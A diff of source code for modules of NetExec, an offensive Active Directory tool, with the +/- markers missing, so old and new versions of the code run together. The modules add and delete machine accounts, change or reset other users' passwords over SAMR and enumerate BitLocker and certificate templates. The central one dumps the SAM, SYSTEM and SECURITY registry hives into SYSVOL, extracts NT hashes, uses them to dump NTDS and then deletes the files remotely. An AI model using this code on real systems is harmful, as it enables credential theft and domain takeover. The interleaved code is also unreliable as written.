self.context.log.fail(f"Computer '{self.computer_name}' already exists")
elif "insufficientAccessRights" in str(e):
self.context.log.fail(f"Insufficient rights to add '{self.computer_name}'")
elif "unwillingToPerform" in str(e):
self.context.log.fail("Server unwilling to perform")
elif "constraintViolation" in str(e):
self.context.log.fail(f"Constraint violation for '{self.computer_name}'. Quota exceeded or password policy.")
if self.__delete:
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
if result:
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
elif result is False and c.last_error == "noSuchObject":
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
elif result is False and c.last_error == "insufficientAccessRights":
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
else:
self.context.log.fail(f"Failed to add '{self.computer_name}': {e}")
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
else:
result = c.add(
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
["top", "person", "organizationalPerson", "user", "computer"],
ucd
)
if result:
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
context.log.highlight("You can try to verify this with the nxc command:")
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
elif result is False and c.last_error == "entryAlreadyExists":
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
elif not result:
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
c.unbind()
+52 -137
View File
@@ -1,11 +1,13 @@
import contextlib
import re
import os
import datetime
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import rrp
from nxc.helpers.misc import CATEGORY, gen_random_string
from nxc.helpers.rpc import NXCRPCConnection
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
class NXCModule:
@@ -17,29 +19,33 @@ class NXCModule:
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.local_admin = None
self.local_admin_hash = None
self.machine_account = None
self.machine_account_hash = None
self.cleanup_user = None
self.cleanup_hash = None
self.domain_admin = None
self.domain_admin_hash = None
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
def options(self, context, module_options):
"""NO OPTIONS"""
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
rand_suffix = gen_random_string(8)
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
connection.trigger_winreg()
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
@@ -56,150 +62,59 @@ class NXCModule:
dce.disconnect()
# copy remote file to local
log_path = f"{connection.output_filename}."
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
connection.get_file_single(hive, log_path + hive)
# read local file
try:
def parse_sam(secret):
context.log.highlight(secret)
if not self.local_admin:
if not self.domain_admin:
first_line = secret.strip().splitlines()[0]
fields = first_line.split(":")
if len(fields) >= 4:
self.local_admin = fields[0]
self.local_admin_hash = fields[3]
def parse_lsa(secret_type, secret):
context.log.highlight(secret)
if self.machine_account:
return
for line in secret.splitlines():
match = re.search(r"aad3b435b51404eeaad3b435b51404ee:([0-9a-f]{32})", line, re.IGNORECASE)
if match:
self.machine_account_hash = match.group(1)
account_name = line.split(":", 1)[0].strip().split("\\")[-1]
# "$MACHINE.ACC" has no real name -> derive it from the connection.
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
return
self.domain_admin = fields[0]
self.domain_admin_hash = fields[3]
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
sam_hashes.dump()
sam_hashes.finish()
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa)
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
dump_creds = None
for username, user_hash in [(self.machine_account, self.machine_account_hash), (self.local_admin, self.local_admin_hash)]:
if self._try_dump_ntds(connection, context, username, user_hash):
dump_creds = (username, user_hash)
break
if dump_creds:
self.cleanup_user, self.cleanup_hash = self._extract_da_hash(connection.output_filename, context)
if not self.cleanup_user or not self.cleanup_hash:
self.cleanup_user, self.cleanup_hash = dump_creds
self._perform_cleanup(connection, context, self.cleanup_user, self.cleanup_hash, rand_suffix)
else:
context.log.fail("Failed to obtain suitable credentials for NTDS dump or cleanup.")
self._print_cleanup_warning(context, rand_suffix)
def _try_dump_ntds(self, connection, context, username, user_hash):
if not username or not user_hash:
return False
with contextlib.suppress(Exception):
if self.domain_admin:
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
try:
context.log.display(f"Dumping NTDS using {username}...")
connection.ntds()
return True
except Exception as e:
context.log.fail(f"Fail to dump the NTDS with {username}: {e!s}")
return False
def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix):
if not username or not user_hash:
self._print_cleanup_warning(context, rand_suffix)
return
context.log.display(f"Using {username} to clean up files...")
with contextlib.suppress(Exception):
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
hives = ["SAM", "SECURITY", "SYSTEM"]
all_deleted = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
connection.create_conn_obj()
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
try:
connection.conn.deleteFile("SYSVOL", remote_name)
context.log.debug(f"File {remote_name} deleted successfully via SMB.")
except SessionError as e:
if "STATUS_NO_SUCH_FILE" in str(e):
context.log.debug(f"File {remote_name} already removed or not found.")
continue
if "STATUS_ACCESS_DENIED" in str(e):
context.log.debug(f"SMB deleteFile for {remote_name} got access denied. Attempting deletion via cmd execution...")
try:
connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\{remote_name}")
continue
except Exception as exec_err:
context.log.debug(f"Failed to delete {remote_name} via command execution: {exec_err}")
all_deleted = False
context.log.fail(f"Fail to remove the file {remote_name}: {e!s}")
context.log.display("Dumping NTDS...")
connection.ntds()
except Exception as e:
context.log.fail(f"Fail to dump the NTDS: {e!s}")
if all_deleted:
double_check = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
for hive in ["SAM", "SECURITY", "SYSTEM"]:
try:
if connection.conn.listPath("SYSVOL", remote_name):
double_check = False
context.log.fail(f"File {remote_name} still exists on C:\\Windows\\sysvol\\sysvol\\{remote_name}")
except SessionError:
pass
if double_check:
context.log.display("Successfully deleted dump files !")
return
out = connection.conn.listPath("SYSVOL", hive)
if out:
self.deleted_files = False
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
except SessionError as e:
context.log.debug(f"File {hive} successfully removed: {e}")
else:
self.deleted_files = False
else:
self.deleted_files = False
self._print_cleanup_warning(context, rand_suffix)
def _extract_da_hash(self, output_filename, context):
try:
with open(f"{output_filename}.ntds") as f:
fallback = None
for line in f:
fields = line.strip().split(":")
if len(fields) < 4 or not fields[3]:
continue
da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0]
if fields[1] == "500":
return da_user, fields[3]
if fallback is None:
fallback = (da_user, fields[3])
if fallback:
return fallback
except Exception as e:
context.log.debug(f"Failed to read NTDS file for cleanup: {e}")
return None, None
def _print_cleanup_warning(self, context, rand_suffix):
context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}")
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
key_name.split("\\")[0]
sub_key = "\\".join(key_name.split("\\")[1:])
ans = rrp.hOpenLocalMachine(dce)
h_root_key = ans["phKey"]
return h_root_key, sub_key
if not self.deleted_files:
context.log.display("Use the domain admin account to clean the file on the remote host")
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
else:
context.log.display("Successfully deleted dump files !")
+141 -116
View File
@@ -1,116 +1,141 @@
import re
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
# creating a second DCOMConnection to the same target (whose disconnect
# would clash with the protocol's own)
try:
iWbemLevel1Login = self.connection.iWbemLevel1Login
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
iWbemLevel1Login.RemRelease()
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
iWbemServices.RemRelease()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
else:
self.context.log.exception(f"Exception occurred: {e}")
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
dcom_conn.disconnect()
-140
View File
@@ -1,140 +0,0 @@
#!/usr/bin/env python3
import json
import socket
from os import makedirs
from certipy.commands.find import Find
from certipy.lib.target import Target, DnsResolver
from certipy.lib.formatting import pretty_print
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
class NXCModule:
"""Module made by: @NeffIsBack, @gatariee"""
name = "certipy-find"
description = "certipy find command with options to export the result to text/csv/json. Default: Show only vulnerable templates"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
VULN Show only vulnerable configurations (Default: True)
ENABLED Show only enabled templates
Export options:
TEXT Export results to a plain text file
CSV Export results to a CSV file
JSON Export results to a JSON file
"""
self.vuln = True
self.enabled = False
self.output_path = f"{NXC_PATH}/modules/certipy-find"
self.json = False
self.csv = False
self.text = False
if "VULN" in module_options:
self.vuln = module_options["VULN"].lower() in ["true", "1", "yes"]
if "ENABLED" in module_options:
self.enabled = module_options["ENABLED"].lower() in ["true", "1", "yes"]
# Export options
if "JSON" in module_options:
self.json = module_options["JSON"].lower() in ["true", "1", "yes"]
if "CSV" in module_options:
self.csv = module_options["CSV"].lower() in ["true", "1", "yes"]
if "TEXT" in module_options:
self.text = module_options["TEXT"].lower() in ["true", "1", "yes"]
def on_login(self, context, connection):
dns_server = connection.args.dns_server
if not dns_server:
try:
# If connection.host is an IP, use it as DNS
socket.inet_aton(connection.host)
dns_server = connection.host
except Exception:
# Otherwise let DnsResolver use system resolver (None)
dns_server = None
resolv = DnsResolver.create(dns_server)
# prefer connection.hostname if present, otherwise connection.host
remote = (connection.hostname or connection.host) or ""
remote = (f"{remote}.{connection.domain}".lower() if "." not in remote else remote.lower()) if connection.domain else remote.lower()
target = Target(
resolver=resolv,
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=connection.remoteName,
hashes=f"{connection.lmhash}:{connection.nthash}",
lmhash=connection.lmhash,
nthash=connection.nthash,
do_kerberos=connection.kerberos,
aes=connection.aesKey,
dc_ip=connection.kdcHost,
target_ip=connection.host,
ldap_port=connection.port,
ldap_scheme="ldaps" if connection.port == 636 else "ldap",
ldap_signing=connection.signing_required,
ldap_channel_binding=connection.cbt_status in ["Always", "When Supported"],
)
finder = Find(
target=target,
json=self.json,
csv=self.csv,
text=self.text,
output_path=self.output_path,
stdout=True,
vulnerable=self.vuln,
enabled=self.enabled,
)
# Get templates and CAs
templates = finder.get_certificate_templates()
cas = finder.get_certificate_authorities()
finder._link_cas_and_templates(cas, templates)
# Get OIDs
oids = finder.get_issuance_policies()
# Process information
finder._link_templates_and_policies(templates, oids)
finder._process_ca_properties(cas)
finder._process_template_properties(templates)
output = finder.get_output_for_text_and_json(templates, cas, oids)
pretty_print(output, print_func=context.log.highlight)
# Save to disk if any export option specified
if self.json or self.csv or self.text:
makedirs(self.output_path, exist_ok=True)
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
if self.json:
with open(f"{self.output_path}/{filename}.json", "w") as f:
json.dump(
output,
f,
indent=2,
default=str,
)
if self.csv:
template_output = finder.get_template_output_for_csv(output)
ca_output = finder.get_ca_output_for_csv(output)
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
f.write(template_output)
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
f.write(ca_output)
if self.text:
with open(f"{self.output_path}/{filename}.txt", "w") as f:
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
+57 -55
View File
@@ -1,8 +1,7 @@
import sys
from impacket.dcerpc.v5 import samr, epm
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -27,7 +26,7 @@ class NXCModule:
Examples
--------
If STATUS_PASSWORD_MUST_CHANGE, STATUS_PASSWORD_EXPIRED or STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT (Change password for current user)
If STATUS_PASSWORD_MUST_CHANGE or STATUS_PASSWORD_EXPIRED (Change password for current user)
netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
@@ -46,21 +45,31 @@ class NXCModule:
def authenticate(self, context, connection, protocol, anonymous=False):
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
try:
# Map to the SAMR endpoint on the target
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(connection.host)
if anonymous:
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
dce = NXCRPCConnection(connection).connect(
None,
samr.MSRPC_UUID_SAMR,
string_binding=string_binding,
set_remote_host=connection.host,
anonymous_rpc=True,
)
rpctransport.set_credentials("", "", "", "", "", "")
rpctransport.set_kerberos(False, None)
context.log.info("Connecting with null session credentials.")
else:
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
aesKey=connection.aesKey,
)
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
# Connect to the DCE/RPC endpoint and bind to the SAMR service
dce = rpctransport.get_dce_rpc()
dce.connect()
context.log.info("[+] Successfully connected to DCE/RPC")
dce.bind(samr.MSRPC_UUID_SAMR)
context.log.info("[+] Successfully bound to SAMR")
return dce
except DCERPCException as e:
@@ -86,12 +95,14 @@ class NXCModule:
new_nthash = self.newhash
try:
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
self.anonymous = False
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=self.anonymous)
except Exception as e:
# Handle specific errors like password expiration or must be change
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e):
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e):
context.log.warning("Password must be changed. Trying with null session.")
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
self.anonymous = True
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=self.anonymous)
elif "STATUS_LOGON_FAILURE" in str(e):
context.log.fail("Authentication failure: wrong credentials.")
return False
@@ -101,49 +112,40 @@ class NXCModule:
try:
# Perform the SMB SAMR password change
self._smb_samr_change(context, connection, target_username, target_domain, self.oldhash, self.newpass, new_nthash)
# Remove user if exists to avoid outdated credentials when we update plaintext password, but hash exists (or vice versa)
user = self.context.db.get_user(target_domain, target_username)
user_ids = [row[0] for row in user]
self.context.db.remove_credentials(user_ids)
# Store the new credentials in the database
if new_nthash:
self.context.db.add_credential("hash", target_domain, target_username, new_nthash)
else:
self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass)
except Exception as e:
if "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"STATUS_ACCESS_DENIED while changing password for user: {target_username}")
elif "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"User '{target_username}' not found or not resolvable")
context.log.fail(f"Password change failed: {e}")
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
try:
# Reset the password for a different user
if target_username != connection.username:
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
context.log.success(f"Successfully changed password for {target_username}")
else:
context.log.fail(f"SMB-SAMR password change failed: {e}")
# Change password for the current user
if newPassword:
# Change the password with new password
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
else:
# Change the password with new hash
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
context.log.highlight("Note: Target user must change password at next logon.")
context.log.success(f"Successfully changed password for {target_username}")
except Exception as e:
context.log.fail(f"SMB-SAMR password change failed: {e}")
finally:
self.dce.disconnect()
def _smb_samr_change(self, context, connection, target_username, target_domain, oldHash, newPassword, newHash):
# Reset the password for a different user
if target_username != connection.username:
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrSetNTInternal1(self.dce, user_handle, newPassword, newHash)
context.log.success(f"Successfully changed password for {target_username}")
else:
# Change password for the current user
if newPassword:
# Change the password with new password
samr.hSamrUnicodeChangePasswordUser2(self.dce, "\x00", target_username, self.oldpass, newPassword, "", oldHash)
else:
# Change the password with new hash
user_handle = self._hSamrOpenUser(connection, target_username)
samr.hSamrChangePasswordUser(self.dce, user_handle, self.oldpass, "", oldHash, "aad3b435b51404eeaad3b435b51404ee", newHash)
context.log.highlight("Note: Target user must change password at next logon.")
context.log.success(f"Successfully changed password for {target_username}")
def _hSamrOpenUser(self, connection, username):
"""Connect to the target server and retrieve the user handle"""
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
"""Get handle to the user object"""
try:
# Connect to the target server and retrieve handles
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(self.dce, server_handle, connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(self.dce, server_handle, domainId=domain_sid)["DomainHandle"]
user_rid = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, (username,))["RelativeIds"]["Element"][0]
return samr.hSamrOpenUser(self.dce, domain_handle, userId=user_rid)["UserHandle"]
except Exception as e:
self.context.log.fail(f"Failed to open user: {e}")
+15 -17
View File
@@ -1,5 +1,4 @@
from impacket.dcerpc.v5 import transport, rprn, even, epm
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -213,14 +212,14 @@ class NXCModule:
context.log.error("Invalid method, please check the method name.")
return
def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str:
string_binding = rf"ncacn_ip_tcp:{target}[135]"
rpctransport = transport.DCERPCTransportFactory(string_binding)
